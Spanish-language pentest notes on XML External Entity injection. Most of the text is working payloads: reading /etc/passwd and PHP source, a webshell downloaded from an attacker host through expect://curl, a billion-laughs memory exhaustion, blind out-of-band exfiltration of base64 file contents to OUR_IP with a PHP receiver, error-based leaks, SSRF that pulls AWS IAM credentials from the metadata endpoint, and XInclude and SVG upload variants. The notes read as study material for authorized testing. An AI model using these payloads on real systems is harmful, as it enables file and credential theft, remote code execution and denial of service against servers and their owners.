Skip to content

XXE (XML External Entity Injection)

XXE es una vulnerabilidad que ocurre cuando un parser XML mal configurado procesa entidades externas definidas por el atacante dentro del DTD (Document Type Definition) de un documento XML. Si el parser resuelve esas entidades sin restricciones, se puede lograr desde lectura de archivos locales del servidor hasta Server-Side Request Forgery (SSRF), denegación de servicio, e incluso ejecución remota de código en ciertas configuraciones.

Documento XML de ejemplo (contexto)

xml
<?xml version="1.0" encoding="UTF-8"?>
<email>
  <date>01-01-2022</date>
  <time>10:00 am UTC</time>
  <sender>john@domain.com</sender>
  <recipients>
    <to>HR@domain.com</to>
    <cc>
        <to>billing@domain.com</to>
        <to>payslips@domain.com</to>
    </cc>
  </recipients>
  <body>
  Hello,
      Kindly share with me the invoice for the payment made on January 1, 2022.
  Regards,
  John
  </body> 
</email>

XML DTD (Document Type Definition)

El DTD define la estructura válida de un documento XML (qué elementos existen y cómo se anidan):

xml
<!DOCTYPE email [
  <!ELEMENT email (date, time, sender, recipients, body)>
  <!ELEMENT recipients (to, cc?)>
  <!ELEMENT cc (to*)>
  <!ELEMENT date (#PCDATA)>
  <!ELEMENT time (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT to  (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>

Un DTD puede definirse inline (como arriba) o referenciarse externamente, desde un archivo local:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "email.dtd">

o desde una URL remota:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "http://domain.com/email.dtd">
  • Que el parser acepte cargar un DTD externo (especialmente uno remoto) es en sí mismo una señal de configuración insegura — es el mecanismo base que XXE explota.

Entidades XML

Las entidades son variables reutilizables dentro de un documento XML:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>

El problema de seguridad surge con las entidades externas (SYSTEM), que en vez de un valor literal apuntan a un recurso externo que el parser resuelve automáticamente:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "http://localhost/company.txt">
  <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>

Divulgación de archivos locales (Local File Disclosure)

Definir una entidad que apunte a un archivo local, y referenciarla dentro del cuerpo del XML para que su contenido se refleje en la respuesta de la aplicación:

xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

Luego, en el cuerpo del documento:

xml
<email>&company;</email>
  • El parser reemplaza &company; por el contenido completo de /etc/passwd al procesar el documento — si la aplicación refleja algún campo del XML de vuelta en la respuesta HTTP (por ejemplo, un mensaje de confirmación de envío de correo), el contenido del archivo queda expuesto directamente.

Lectura de código fuente (evitando que se interprete como XML/HTML)

Si el archivo objetivo es código fuente que podría romper el parseo XML (por ejemplo, un archivo PHP con caracteres </> propios), conviene envolverlo en un filtro de PHP que lo codifique en base64 antes de insertarlo en el documento:

xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
  • El wrapper php://filter/convert.base64-encode (el mismo usado en LFI, ver lfi.md) evita que el contenido del archivo original interfiera con el parseo del XML — el resultado se decodifica manualmente después de recibir la respuesta.

RCE con XXE

Cuando la extensión expect de PHP está disponible en el servidor (poco común, pero cuando existe es un vector directo), se puede usar el wrapper expect:// para ejecutar comandos del sistema operativo directamente desde la entidad XML:

c
❯ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
❯ sudo python3 -m http.server 80
xml
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
  • $IFS se usa aquí en vez de un espacio literal porque el wrapper expect:// ejecuta el comando directamente a través del shell del sistema, donde los espacios en el valor de una entidad XML a veces generan problemas de parseo — ver command_injection_filter_evasion.md para más técnicas de este tipo.
  • Este payload descarga el webshell PHP preparado previamente hacia el webroot del servidor, permitiendo ejecución de comandos posterior a través de shell.php?cmd=....

Denegación de servicio (Billion Laughs / Entity Expansion)

Definir entidades anidadas que se referencian a sí mismas exponencialmente provoca que el parser consuma memoria/CPU de forma descontrolada al intentar expandir todas las referencias:

xml
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>
  • Cada nivel multiplica por 10 las referencias del nivel anterior — con 10 niveles, &a10; se expande a 10^10 (10 mil millones) repeticiones de la cadena "DOS", agotando la memoria del proceso que parsea el XML. Esta técnica se conoce como "Billion Laughs Attack".
  • A diferencia de la divulgación de archivos, este payload no requiere que la respuesta refleje ningún dato — el simple hecho de que el parser intente resolver las entidades es suficiente para causar el impacto, por lo que también funciona en escenarios completamente ciegos.

Divulgación avanzada de archivos con CDATA

Cuando el contenido de un archivo contiene caracteres especiales de XML (<, >, &) que romperían el parseo si se insertan directamente (por ejemplo, código PHP o HTML), se puede envolver el contenido en una sección CDATA, que el parser XML trata como texto literal sin interpretar:

xml
<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>
  • El problema es que las entidades generales (<!ENTITY ...>, sin %) no pueden anidarse dentro de otras entidades generales en la mayoría de los parsers — por eso &joined; normalmente no se resuelve como se espera con esta sintaxis simple, y se necesita el enfoque de entidades de parámetro (%) que se muestra a continuación.

Con entidades de parámetro (%) y DTD externo

Las entidades de parámetro (definidas con % en vez de sin él) sí pueden combinarse entre sí, pero solo son válidas dentro de la definición del DTD, no en el cuerpo del documento — por eso se necesita cargar un DTD externo que las ensamble y las exponga como una entidad general:

c
❯ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
xml
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- antepone el inicio del tag CDATA -->
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- referencia el archivo externo -->
  <!ENTITY % end "]]>"> <!-- añade el cierre del tag CDATA -->
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- referencia nuestro DTD externo -->
  %xxe;
]>
...
<email>&joined;</email> <!-- referencia la entidad &joined; para imprimir el contenido del archivo -->
  • El flujo es: el parser carga nuestro DTD externo (xxe.dtd), que a su vez ensambla la entidad joined combinando %begin;, %file; y %end; — como esto ocurre dentro de la definición del DTD (donde sí es válido combinar entidades de parámetro), el resultado (joined, ahora una entidad general válida) puede referenciarse normalmente en el cuerpo del documento.

Exfiltración ciega de datos (Blind XXE / OOB)

Confirmación inicial: ping OOB simple

Antes de intentar exfiltrar datos, el primer paso en un escenario ciego (donde la aplicación no refleja ningún valor de la entidad en la respuesta) es simplemente confirmar que el parser resuelve entidades externas, forzando una petición saliente hacia un servidor propio:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "http://TU_SERVIDOR_COLABORADOR"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>1</storeId></stockCheck>
  • Si el servidor propio (Burp Collaborator, un nc -lvnp 80, o un servidor HTTP simple) recibe la petición, se confirma la vulnerabilidad sin necesidad de exfiltrar nada todavía — es el equivalente XXE de un sleep/OOB ping en command injection.
  • Solo con esta confirmación ya se puede escalar directamente a SSRF (ver más abajo) contra sistemas internos, incluso sin lograr nunca la exfiltración de archivos.

Cuando la aplicación no refleja el resultado de la entidad en ninguna respuesta visible, se puede forzar una petición saliente hacia un servidor propio, incluyendo el contenido del archivo codificado como parámetro de la URL:

xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

Si el archivo leído contuviera, por ejemplo, el texto XXE_SAMPLE_DATA, la entidad %file; contendría su valor codificado en base64 (WFhFX1NBTVBMRV9EQVRB). Al resolver la entidad oob, el parser hará una petición saliente a http://OUR_IP:8000/?content=WFhFX1NBTVBMRV9EQVRB, exfiltrando el contenido del archivo a través de la propia URL de la petición.

Un script PHP simple puede detectar y decodificar automáticamente el contenido recibido:

php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

Levantar el servidor con este script:

c
❯ vi index.php   # pegar el código PHP anterior
❯ php -S 0.0.0.0:8000

Payload final, combinando la carga del DTD externo (con las entidades file/oob ya definidas ahí) y la referencia a la entidad resultante content en el cuerpo del documento:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

Exfiltración OOB automatizada con XXEinjector

XXEinjector automatiza todo el flujo anterior (generación del DTD, servidor OOB, decodificación) a partir de una petición HTTP capturada:

c
❯ git clone https://github.com/enjoiz/XXEinjector.git

Guardar la petición HTTP original (capturada, por ejemplo, con Burp) en un archivo, reemplazando el cuerpo XML por el marcador XXEINJECT:

http
POST /blind/submitDetails.php HTTP/1.1
Host: 172.16.69.10
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://172.16.69.10
Referer: http://172.16.69.10/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT

Ejecutar la herramienta indicando IP/puerto propios (--host/--httpport), el archivo de la petición (--file), y la ruta del archivo objetivo a leer (--path), junto con --oob=http --phpfilter para repetir el mismo ataque OOB visto manualmente:

c
❯ ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter

...SNIP...
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:
c
❯ cat Logs/172.16.69.10/etc/passwd.log 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..

SSRF vía XXE

Toda entidad SYSTEM que apunte a una URL interna (http://localhost/..., http://169.254.169.254/... para metadata de instancias cloud, o cualquier host/puerto de la red interna del servidor) constituye también un vector de SSRF, incluso sin lograr lectura de archivos:

xml
<!ENTITY company SYSTEM "http://169.254.169.254/latest/meta-data/">
  • Útil para reconocimiento de red interna (puertos abiertos, servicios internos no expuestos públicamente) o para acceder a endpoints de metadata en entornos cloud, que a menudo exponen credenciales temporales.

Extracción de credenciales IAM en AWS

169.254.169.254 es la dirección de metadata de instancia estándar en AWS (y otros proveedores cloud usan direcciones/rutas equivalentes). Dentro de esa ruta, el endpoint iam/security-credentials/ expone las credenciales temporales del rol IAM asignado a la instancia:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>1</storeId></stockCheck>

Esta primera consulta devuelve el nombre del rol IAM asignado (por ejemplo, admin). Con ese nombre, se consulta la ruta específica del rol para obtener las credenciales completas (AccessKeyId, SecretAccessKey, Token):

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>1</storeId></stockCheck>
  • Este es uno de los impactos más críticos posibles de un XXE con capacidad de SSRF: las credenciales obtenidas suelen tener los mismos privilegios que el rol IAM de la instancia, lo que puede derivar en acceso a otros servicios de la cuenta cloud (S3, bases de datos, otras instancias) mucho más allá del servidor web inicial.
  • Referencia general sobre SSRF y metadata cloud: https://hackviser.com/tactics/pentesting/web/ssrf

XXE interno (parameter entity inmediata) vs XXE clásico

Es importante distinguir dos momentos distintos en los que una entidad puede resolverse, ya que determina si el ataque funciona incluso sin que la aplicación refleje ningún dato:

XXE clásico (entidad general, referenciada explícitamente en el cuerpo):

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>1&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
  • El parser procesa el DTD pero no resuelve nada todavía; solo al llegar a <productId>1&xxe;</productId> reemplaza &xxe; por el contenido del archivo. Si la aplicación refleja productId en la respuesta, el contenido se ve directamente.

XXE "interno" (entidad de parámetro, referenciada dentro del propio DTD con %xxe;):

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "http://tu-servidor-malicioso.com/xxe-test">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>
  • Aquí la entidad se resuelve inmediatamente al procesar el DTD (la línea %xxe; la invoca ahí mismo), sin necesidad de referenciarla en ningún valor del cuerpo del documento. Esto es lo que hace viable la confirmación OOB incluso cuando ningún campo del XML se refleja en la respuesta — el propio proceso de parseo del DTD ya dispara la petición saliente.
  • Como consecuencia práctica: usar entidades de parámetro (%) es la técnica correcta para escenarios completamente ciegos, mientras que las entidades generales (sin %) solo sirven cuando se puede referenciar su valor en un dato que la aplicación efectivamente devuelve.

Exfiltración vía mensajes de error

Cuando ni la reflexión directa ni el OOB HTTP/DNS están disponibles, a veces se puede forzar que el mensaje de error del parser XML incluya el contenido del archivo, abusando de una entidad de parámetro que construye una ruta de archivo inválida usando el contenido del archivo como parte del nombre:

dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

Alojar este contenido en un DTD externo propio, y referenciarlo desde la petición:

xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://TU_SERVIDOR/malicious.dtd"> %xxe;]>
  • El mecanismo: %file; se expande al contenido de /etc/passwd; ese contenido (que no es una ruta válida) se concatena a file:///invalid/ formando una ruta de archivo inexistente y "corrupta" con el contenido del passwd embebido; cuando el parser intenta resolver esa ruta inválida, falla — y muchos parsers incluyen la ruta que intentaron abrir (con el contenido del archivo ya embebido en ella) dentro del propio mensaje de error devuelto por la aplicación.
  • Esta técnica es valiosa precisamente porque no depende de que la aplicación tenga tráfico saliente habilitado ni de que refleje datos normalmente — solo requiere que los mensajes de error del parser sean visibles en la respuesta HTTP.

XInclude — alternativa cuando no se controla el DOCTYPE

En ciertos casos el punto de inyección no permite modificar la estructura completa del documento XML (por ejemplo, solo se controla el valor de un parámetro específico, sin poder inyectar un <!DOCTYPE> propio). Si el parser tiene soporte de XInclude habilitado, se puede lograr divulgación de archivos sin necesidad de definir ningún DTD/entidad:

xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
  • xi:include es un mecanismo XML estándar (independiente de DTD) para incluir el contenido de otro documento/archivo dentro del XML actual — parse="text" indica que el contenido debe tratarse como texto plano (no como XML anidado), ideal para volcar el contenido crudo de un archivo del sistema.
  • Este vector es especialmente relevante cuando la aplicación solo toma el valor de un parámetro individual y lo inserta en una plantilla XML más grande controlada por el servidor (donde no se puede tocar el DOCTYPE), ya que XInclude no requiere ninguna declaración previa en el documento.

XXE vía carga de archivos (SVG)

Los archivos SVG son, en el fondo, documentos XML — cualquier funcionalidad de carga de imágenes que acepte SVG es un vector potencial de XXE, incluso si el resto de la aplicación no expone ningún endpoint XML de forma obvia.

xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
  • El truco está en incrustar la entidad dentro de un elemento <text> visible del SVG — al renderizarse la imagen (o al inspeccionar el archivo subido), el contenido del archivo local queda mostrado directamente como parte del contenido gráfico.
  • Vale la pena probar este vector en cualquier formulario de carga de imágenes (avatares, logos, adjuntos), ya que muchas aplicaciones validan el tipo de archivo por extensión/Content-Type pero no validan que un .svg no contenga una declaración DOCTYPE maliciosa.
  • Si el formulario rechaza archivos SVG grandes pero acepta el formato, conviene generar el payload lo más compacto posible (sin espacios/saltos de línea innecesarios) para no exceder límites de tamaño.

Notas de metodología

  • Antes de intentar RCE o exfiltración avanzada, confirmar la vulnerabilidad con la técnica más simple posible: una entidad apuntando a un archivo de bajo riesgo (/etc/hostname) o a un endpoint propio con curl/netcat en escucha, para verificar que el parser efectivamente resuelve entidades externas.
  • Revisar si el endpoint acepta Content-Type: application/xml o text/xml incluso cuando la interfaz normal usa JSON — muchas APIs modernas conservan soporte legado para XML en el backend sin exponerlo visiblemente en la documentación.
  • Frameworks/parsers modernos (por ejemplo, libxml2 en configuraciones recientes, o parsers Java con FEATURE_SECURE_PROCESSING habilitado) deshabilitan la resolución de entidades externas por defecto — si los payloads básicos no funcionan, vale la pena identificar la tecnología exacta del parser antes de descartar la vulnerabilidad por completo.